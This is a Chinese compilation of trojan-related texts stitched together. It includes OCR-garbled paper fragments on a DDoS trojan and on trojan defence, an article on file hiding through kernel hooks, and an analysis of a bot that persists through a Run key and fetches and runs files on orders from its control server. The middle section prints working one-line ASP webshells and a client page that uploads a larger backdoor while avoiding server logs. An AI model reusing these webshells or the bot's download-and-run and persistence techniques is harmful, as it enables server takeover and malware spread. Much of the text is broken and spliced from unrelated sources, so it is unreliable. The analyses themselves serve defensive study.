完整版-木马分析
DDOS案中涉案木马(DbSecuritySpt)的深入分析

1 . 2 木 马 功 能 I . 2 . 1 5 个 文件 的分 工
t I 1
为木马的全局配置 文件 ,如线程 、攻击 方式等 。
多出 p a c k e t . d l l 及n p f . s y s 。该 木 马 最早 f { { 现于 2 0 1 1 年. 发 艉
l 木马 基本情 况
1 . 1 木 马 样 本 件
Db S e c u r i t y S p t . e x e( M D5: 4 5 9 3 d 35 6 c f 9 e c 3 b f 6 3 a b
关 功能 .
关 键 词 :木 马 ;D D O S攻 击 ;功 能 性 分 析
2 ( ) 1 6年 8月 , l 作 中发现 一 款 [ ) D O S类 型 的涉 案 木 马 D b S e  ̄ , u r i l y S p t ,为了更 好地掌握其特性 ,对提取 出来 的木 马样 本 ( Wm 3 2版 )进 行 . r 深 入分 析 ,限于水平 ,不能 很好地体
脱 出 小 码 的 原 祝
这 是 个还 有 B o t 僵 尸 网络 的 D D O S类 木 马 . 分 为 w I l 1 _
d o w s 、L i n u x版本 ,其中 :Wi n d o w s 又分为 x 8 6和 x 6 4( 3 2 、6 4 位) 。这里 分析 的是提取到 的 3 2位程序 ,如果是 6 4位 的还会
摘
要 :在 工作 中发现此 类木 马被 广泛 用于 D D O S攻 击之 中。虽然 “ V i r S c a n ” 、 “ 火眼 ”等 自动化分析 工具 中都有
全面详尽剖析一句话asp木马

全面详尽剖析一句话asp木马所谓一句话插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。
它分为一句话asp马、一句话php马……,本文就一句话asp木马来做一次详尽的剖析。
在此首先要感谢前辈们的探究!一:基础篇首先我们看一下最常用的一句话木马客户端的代码<html><head><title>一句话客户端</title><style type="text/css"><!--body {background-color: #FFFFFF;}.lygf {border: 1px solid #660069;font-size: 12px;}--></style></head><body><table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0"><tr><td height="1" width="794"><form name="lygf" method="post"><input name="add" type="text" id="add" size="97" value="http://"><input type="submit" value="枫" onClick="this.form.action=this.form.add.value;"><input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")"></td></tr><tr><td height="100" width="794"><textarea name="*" cols="100" rows="9" width="45">set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("lygf")lP.SaveToFile server.mappath("fk.asp"),2lP.Closeset lP=nothingresponse.redirect "fk.asp"</textarea></td></tr><tr><td height="1" width="794"><textarea name="lygf" cols="100" rows="15" width="45">写入你的大马</textarea></td></tr><tr><td width="794" height="7"><font color="#000000">提供六个服务端:</font><br>1. <%eval request("fk")%><br>2. <%execute request("fk")%><br>3. <%execute(request("fk"))%><br>4. <%On Error Resume Next%><%eval request("fk")%><br>5. <script language=VBScript runat=server>execute request("fk")</Script> <br>6. <script language=VBScript runat=server>eval request("fk")</Script><br><br>By 冷月孤枫枫客:/ ... t;/font><br></td></tr></table></body></html>把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):<title>一句话客户端</title> 显示在浏览器标题栏上面的文字,你可以自己更改<style type="text/css"><!--body {background-color: #FFFFFF; 背景颜色}.lygf {border: 1px solid #660099; 边框属性font-size: 12px; 字体大小}--> 本页面所要用到的样式<form name="lygf" method=post> 创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS 是不记入日志的<input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add),长度是97个字节,value=是默认的内容<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit),后面的部分是把上面value的值赋给form去post<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域,把fk与下面name的值*关联,用session保存代码然后执行,这句借用了海洋的客户端,不过那样不怎么好用<textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。
“木马”病毒的分析、检测与防治

“ 马" 木 病毒 的分析 、 测与 防治 检
屈蕴茜 , 陆建德
( f 苏,大学信息工程学院, I 江苏 苏州 2 ̄o ) 1 6 0
摘 要: 讨论时计算机安全危害极大的“ 木马” 病毒的工作原理。从启动方式、 通信 方式和传播方式多方面进行了 探讨 , 并对检刹、 清除和预防“ 木马” 病毒提出了可行
一
般 的程序需要我们点击该 程序才会 启动 , “ 马” 了隐蔽起见 , 而 木 为 往往在 电脑开机时
自启 动 , 或者捆绑在其它程序 中 , 当用户运行 那 个 程序时 ,木马” 随之 悄悄地启动 。系统 “ 也 启动时 自动加载应用程序 的方法 ,木马” “ 都会 用上 , : 动组 、i. issm. i注册表等 如 启 wn i 、 t i 、 n ye n 等都是“ 木马” 自启动的好地方 , 而捆绑在其 它程序 中的 木马” 以 由黑 客 自己确定捆绑方 可 式、 捆绑位置、 捆绑程序等 。
维普资讯
第2卷 期 2 第1
20 年 2 O2 月
苏
州 大 学 学 报
工 学 版
vd. Ho 1 2 .
疱丁解马-木马查杀深度剖析之文件篇

疱丁解马-木马查杀深度剖析之文件篇(三) 作者:museheroA、利用技术手段隐藏文件讲完了障眼法后,我们讲点实在的。
其实,如果您是从第一篇一直看过来的,那么应该可以想到一些手段了,是的,HOOK、InLine-HOOK几乎可以用于任何地方,不但适用于隐藏进程、隐藏注册表,同样适用于隐藏文件,不同的只是HOOK的地方不同而已。
看下图03-49:这是某文件夹隐藏软件的HOOK情况,当用其隐藏文件或文件夹后,可以在SSDT 检查中发现这个HOOK,HOOK的功能函数是”NtQueryDirectoryFile”,当你恢复了此HOOK后,被隐藏的东西自然也就显现了。
同理,Inline-Hook此函数,效果也是一样的。
对于HOOK,每篇都在讲,这里就不过多讲述了。
测试程序也不提供了,毕竟人家是商业软件,是*这个吃饭的。
说明一下儿,内核代码扫描是扫描并恢复Inline-HOOK的地方。
下面我们讲一讲借助文件系统隐藏文件的情况,上面的基础知识中我们已经讲过了,回顾一下儿”文件格式有特定的程序来识别并读取使用,而文件系统格式则由特定的驱动来识别并读取使用,文件系统驱动根据文件系统的不同而不同,FAT 文件系统、NTFS文件系统分别由FastFat.sys与NTFS.sys来管理。
”这里我们再讲一个概念”文件过滤系统驱动”,听名字应该也能想出大概了吧?是的,这是一个文件过滤系统,付在文件系统上,像个筛子一样对传入文件系统驱动的信息进行过滤。
文件过滤系统在现实中应用非常广泛,几乎所有的杀毒软件都会用到,而系统本身的系统还原也是应用的文件过滤系统,还有些硬盘还原之类的程序也在使用文件过滤驱动。
在网上找到了个借助文件过滤系统驱动来隐藏文件的例程,这里我们就借由此程序来看看文件过滤系统是如何隐藏文件的。
(在此说明一下,说来也惭愧,测试程序都是在网上找的,其实应该是自己来写的,只是我的时间实在是太不够用了,只好偷懒了,在此也谢谢这些程序的作者们。
木马型网络攻击技术分析

木马型网络攻击技术分析作者:谭博伦来源:《商品与质量·消费视点》2013年第10期摘要:随着科学技术的进步与发展,人类社会正在向网络社会迈进,人们的生活已经和网络产生了密不可分的关系,各个领域的进步与发展也都离不开网络技术,人们的决策已经越来越依赖于信息技术,它也使得信息站成为可能。
信息站将成为未来战争的一个新兴的形式之一,它的涉及面非常广,既可以破坏军事指挥,武器控制等,还可以使得诸如金融、商业、电力等遭受破坏。
而目前应用最广的病为人所知程度最广的就是木马病毒所造成的对于网络的攻击。
在这个背景之下,对于木马型网络攻击技术的分析和研究具有重要的现实意义。
关键词:木马型;网络攻击;技术分析网络攻击是指攻击者利用各种控制计算机的攻击手段通过网络技术实现对目标主机系统发动攻击,旨在破坏对方的网络系统或是获取更多有价值的信息。
伴随着科技的日益更新和发展,网络攻击技术的发展也呈现出自动化、快速化、动态化的发展趋势。
本文将通过两个方面对当前的木马型网络攻击技术进行分析,一方面是对于木马进行简单论述,另一方面是对木马型网络攻击技术的实现的关键技术进行介绍。
一、木马的简要介绍所谓计算机木马其实是源于古希腊中的特洛伊木马的故事,木马病毒是一种隐藏在计算机网络中的一种可以在毫无察觉的情况下对受害系统进行破坏或窃取的病毒。
与一般的病毒一样,木马病毒也是从Unix平台中产生的,直接作用于常见的Windows操作系统中。
截至目前为止,木马程序已经更新了好几代,它的危害性和隐藏的密闭性也在不断的提高,目前木马主要包括以下几种类型:远程控制型;密码发送型;键盘记录型;毁坏型;FTP型。
它们主要是根据木马对于计算机的具体动作形式来进行划分的。
据不完全统计,当前世界上木马已有好几千种,它们虽然都是通过程序实现,但是由于运行的环境的差异性,它们所发生的作用也不尽相同。
木马具有隐蔽性、欺骗性、自动恢复性、功能的特殊性。
它们都是木马的基本特征。
网络安全中的恶意代码分析与防范手段

网络安全中的恶意代码分析与防范手段恶意代码是指通过计算机网络对用户或者系统造成危害的一种程序代码,常见的恶意代码包括病毒、蠕虫、木马、间谍软件等。
随着网络的普及和应用的广泛,网络安全问题变得愈发突出。
本文将对网络安全中的恶意代码进行分析,并提供相应的防范手段。
一、恶意代码的分析恶意代码的形式多种多样,具有隐蔽性和破坏性。
下面将介绍几种常见的恶意代码及其分析方法。
1. 病毒病毒是一种能够自我复制并传播的恶意代码。
它通常通过文件的共享或者下载、运行来感染目标计算机。
病毒可以对系统文件进行修改、删除或者破坏,导致计算机系统崩溃。
分析病毒需要使用杀毒软件,对潜在的病毒样本进行扫描和分析,从而识别病毒的特征。
2. 蠕虫蠕虫是一种能够自动复制并在网络中传播的恶意代码。
蠕虫可以通过漏洞来感染系统,并在系统中运行。
它们常常通过邮件、用户点击等方式传播。
分析蠕虫需要借助网络监控系统,对网络流量进行监测和分析,从而发现异常的数据包和行为。
3. 木马木马是一种通过伪装成合法程序隐藏在计算机系统中的恶意代码。
它可以远程控制受感染的计算机,进行非法操作,如窃取个人信息、植入其他恶意程序等。
分析木马需要使用流量分析工具,监控计算机与外部的网络连接,识别异常连接和传输的数据包。
4. 间谍软件间谍软件是一种潜伏在计算机中的恶意程序,用于收集用户的个人信息,并将其发送给第三方。
间谍软件通常通过下载和安装一些看似正常的软件而进入系统。
分析间谍软件可以使用反间谍软件进行扫描和识别,同时注意检查系统中的异常行为和网络连接。
二、恶意代码的防范手段针对恶意代码的分析结果,我们需要采取相应的防范措施,并提高网络安全的水平。
以下是几种常用的防范手段。
1. 使用杀毒软件和防火墙杀毒软件和防火墙是防范恶意代码的第一道防线。
及时更新病毒库和漏洞补丁,可以有效阻止恶意代码的感染。
同时,配置合适的防火墙策略,对网络连接和传输进行监控和过滤,保护系统安全。
BIOS木马机理分析与防护

、0 _7 ,l3
・
计
算
机
工
程
2 1 年 7月 01
u e mp t rEng n e i g i e rn
安全技术 ・
文 编 l o 3 80 )— 1 _ 3 文 标 码 A 章 号: 0 _ 4 ( 11 0 2 0 0 _ 22 1 3 2 一 献 识 :
t e s c rt ft e f mwa e i omp tr h e u y o r i h i r n c ue. .
[ ywod ]B OSToa ; ai Ip t tu ytm(I )maiiu o escr ydtcin t mia sc ry Ke r s I rjn B s u/ p t s B OS; l o s d ;e u t eet ;e nl eui c n Ou S e c c i o r t DOI 1.9 9 .s.0 03 2 . 1 . .3 : 03 6 0i n10 —4 8 0 11 0 9 s 2 3
1 概 述
固件 基 本 输 入 输 出 系 统 ( ai n u/ tu ytm, B s Ip t p tS s c Ou e B OS是计算机 中不可 缺少的底层基础 系统 软件 ,为操作系 I ) 统提供最直接、最底层 的硬件控制 。B OS以特权模式运行 , I 甚至 比操作系统更早取得对计算机 的控制权 。如果 B O I S系
中 分 号: P90 圈 类 T3 . 38
B OS木 马机 理 分析 与 防护 I
池亚平 ,许盛伟 ,方 勇
( 电子科技学院通信工程系 ,北京 107) 北京 000 摘 要 :针对嵌入在计算机底层 固件 的基本输入输出系统(IS中,木马对计算机系统安全危害巨大、不易删 除和不易发现 的问题 ,分析 BO )
特洛伊木马事情原理分析及清除方法

再加入一个文本框,用于输入服务器的IP地址或服务器名。
然后加入一个按钮,按下之后就可以对连接进行初始化。
代码如下:Private Sub cmdConnect_Click()Win_Client.RemoteHost=Text1.TextWin_Client.ConnectTimer1.Enabled=TrueEnd Sub(3)建立连接后就可以使用DataArrival事件处理收到的数据了。
(4)在服务器端Server工程中也建立一个窗体,窗体的visible属性设置为False。
加载Win Sock控件,称为Win_Server,协议选择TCP。
在Form_Lad事件中加入以下代码:Private Sub Form_Load()Win_Server.LocalPort=2001 ‘自定义的端口号Win_Server.ListenEnd Sub(5)准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答客户端程序的请求,代码如下:Private Sub Win_Server_ConnectionRquest(ByValrequestID As Long)If Win_Server.State sckClosed ThenWin_Server.Close ‘检查控件的State属性是否为关闭的End If ‘如果不是,在接受新的连接之前先关闭此连接Win_Server.Accept requestIDEnd Sub(6)这样在客户端程序按下连接按钮后,服务器端程序的ConnectionRequest事件即被触发,执行以上代码。
如果不出意外,连接将被建立起来。
(7)建立连接后服务器端的程序通过JDataArrival事件接收客户机端程序发出的指令运行既定程序。
DataArrival事件程序如下:Private Sub Win_Server_DataArrival(ByVal bytesTotal As Long)Dim strData As StringDim I As LongWin_Server.GetData strData ‘接收数据并存入strDataFor i=1 ToLen(strData) ‘分离strData中的命令If Mid(strData,I,1)=”@” ThenmKey=Left(strData,i-1 ‘把命令ID号存入mKeystrData=Right(strData,Len(strData)-i) ‘把命令参数存入strDataExit FofEne IfNext iSelect Case Val*mKey)Case i ‘i为一系列命令的定义,如截获驱动器名、目录名、文件名、强制关闭服务器端的计算机,强制重启服务器端的计算机,屏蔽任务栏窗口,屏蔽开始菜单,按照客户机端传来的文件名或目录名删除它们,屏蔽热启动键,运行服务器端的任何程序。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
完整版-木马分析一个木马的分析第一次详细分析木马,不足之处请见谅。
这个木马一共4KB,是个比较简单的程序,所以分析起来也不是很难。
下面开始正式分析。
这是程序的主题函数,一进来就是三个初始化的call,然后就是一个大的循环,程序就是在这个循环之中不停的运行着。
跟进第一个call:函数首先创建了一个hObject变量~用于存放创建的互斥对象句柄。
mov [ebp+hObject],start proc near eax就是将创建的互斥句柄传送到call sub_401481hObject中。
这里是创建了一个名为 call sub_401092H1N1Bot的互斥对象。
然后调用 call sub_4011AEloc_4014C4: GetLastError得到错误码~这里加call sub_4013D5入程序已经有一份实例在运行了~则 call sub_40143Fpush 0EA60h ; 这个互斥对象就是创建过了的~就是dwMilliseconds得到错误代码为0B7h的值。
通过查 call Sleep询msdn发现:0b7h含义是Cannot jmp short loc_4014C4start endp create a file when that filealreadyexists.所以这样就防止了木马程序同时打开了多份。
当返回值是0B7h的时候~调用ExitProcess退出程序。
总结来说这个call就是检查程序是否已经打开~要是打开过了就退出。
进入401092的call,由于这hObject = dword ptr -4个函数代码过多,就不贴详细的.text:00401481代码了。
函数定义了两个局部字.text:00401481 push ebp符串数组ExistingFileName,.text:00401482 mov ebp, espString2(这里是ida分析给出的名.text:00401484 add esp, 0FFFFFFFCh字)和一个文件指针。
函数先将.text:00401487 push offset Name ;这两个数组用零填充,然后调用"H1N1Bot"GetModuleFileNameA得到当前.text:0040148C push 0 ;程序的完整路径,并将结果存放bInitialOwner在ExistingFileName中。
在调用.text:0040148E push 0 ;SHGetFolderPathA并将结果存lpMutexAttributes放在String2中。
.text:00401490 call CreateMutexASHGetFolderPathA可以获.text:00401495 mov [ebp+hObject], eax取系统文件夹,这里他的参数值.text:00401498 call GetLastError是0x1c。
.text:0040149D cmp eax, 0B7hConst .text:004014A2 jz short loc_4014A6CSIDL_LOCAL_APPDATAH1C调用ExitProcess退出程序.(用户)\本地设置\应用程序数.text:004014A4 leave据。
即如果以administration身.text:004014A5 retn份登录获得的是C:\DocumentsandSettings\Administrator\LocalSettings\Applicaton Data\路径。
然后调用lstrcatA这个函数在String2的后面加上\\winvv.exe。
然后比较String2和ExistingFileName是否相同,不同则把自身复制到ExistingFileName中,最后运行复制过去的文件,自身退出。
总体来讲第二个call就是路径检查的。
3.进入4011AE的call,这个函数就是实现程序的开机运行,手法也很简单。
就是在注册表中创建键值。
位置在Software\Microsoft\Windows\CurrentVersion\Run\,键值叫做Windows Update,其迷惑作用。
4(下面我们进入这个木马的核心程序。
大循环。
4013D5的callsub_4013D5 proc nearlpString = dword ptr -4push ebpmov ebp, espadd esp, -4push 40h ; flProtectpush 1000h ; flAllocationTypepush 512 ; dwSizepush 0 ; lpAddresscall VirtualAlloc ; 申请内存mov [ebp+lpString], eax ; 内存首地址存到局部变量里mov dword ptr [eax], 'edom'add eax, 4mov dword ptr [eax], 'i&2='add eax, 4mov dword ptr [eax], 'tned'add eax, 4mov byte ptr [eax], '='inc eax ; 向buffer中填充mode=2&ident=(注意顺序)push eaxpush eax ; lpStringcall sub_40138B ; 向buffer追加当前系统用户名,并返回用户名长度mov ecx, eaxpop eaxadd eax, ecxpush eax ; eax始终保持指向字符串的末尾push eax ; lpStringcall sub_4013B0 ; 获取计算机名,并追加到buffer中,返回计算机名长度push [ebp+lpString]此时buffer内容为"mode=2&ident=AdministratorPC-201008252144"push [ebp+lpString] ; lpStringcall sub_401000 关键callpush 8000h ; dwFreeTypepush 0 ; dwSizepush [ebp+lpString] ; lpAddresscall VirtualFree程序首先构造了一个字符串mode=XX&ident=XX(XX表示生成的数据),然后调用401000的函数。
这个函数是构造了一个网络请求,并向指定的网站发送post请求。
用到的函数有InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendR equestA,InternetReadFile。
用抓包软件可以分析出我电脑上post的数据.POST /admin/bot.php HTTP/1.1Content-Type: application/x-www-form-urlencoded User-Agent: myAgent Host: Content-Length: 26Cache-Control: no-cachemode=2&ident=studentCSE029 (studentCSE029为我电脑上的用户名)此时对方并未返回数据,可能只是需要向服务器post一下数据而已。
到此这个大函数的任务完成,于是返回。
然后进入40143F的函数。
sub_40143F proc nearlpString = dword ptr -4push ebpmov ebp, espadd esp, 0FFFFFFFChpush 40h ; flProtectpush 1000h ; flAllocationTypepush 200h ; dwSizepush 0 ; lpAddresscall VirtualAlloc 申请缓冲区mov [ebp+lpString], eaxpush [ebp+lpString] ; intpush offset String ; "mode=1"call sub_401000 调用post数据的函数push [ebp+lpString] ; lpStringcall sub_40134E ; 处理命令push 8000h ; dwFreeTypepush 0 ; dwSizepush [ebp+lpString] ; lpAddresscall VirtualFreeleaveretnsub_40143F endp这个函数也只有两个重点处,调用0x401000处的函数,这个函数刚刚用过,传入两个参数,函数将服务器返回的数据存放在第一个参数中,第二个参数仅仅是需要post的数据。
POST /admin/bot.php HTTP/1.1Content-Type: application/x-www-form-urlencoded User-Agent: myAgentHost: Content-Length: 6Cache-Control: no-cachemode=1这是post的数据,mode参数变成了1,但是服务器什么也没返回。
所以返回数据只能之际分析程序了。
下面我们进入处理服务器返回数据的函数0x40134E。
这是这个函数的流程图。
接收到的命令有三种~clo,~rem,~bwn。
当命令为~clo,调用0x401346处的函数,就是调用ExitProcess退出程序。
当命令为~rem,先调用0x40117A处的函数,再调用0x401346处的函数。
当命令为~bwn,调用0x4012A1处的函数。
0x40117A处的函数是清楚开机运行的注册表信息。
0x4012A1处的函数:从参数中分解出需要下载的文件字符串和下载后存储的文件名,然后调用URLDownloadToFileA下载文件,再调用ShellExecuteA运行它,都是常规的手法。
到此这个函数的功能叶介绍玩了。
返回到最开始的大循环中,push 60000 ; dwMillisecondscall Sleep调用Sleep函数,程序先挂起1分钟,然后再循环。
总体来说这个程序的功能是比较简单的~就是到指定的网站上接受相应的命令~在做出相应的处理。
只不过在这个杀软看守很严的年代已经没有它的存活空间了~第一次分析木马~有些简单了~哈哈。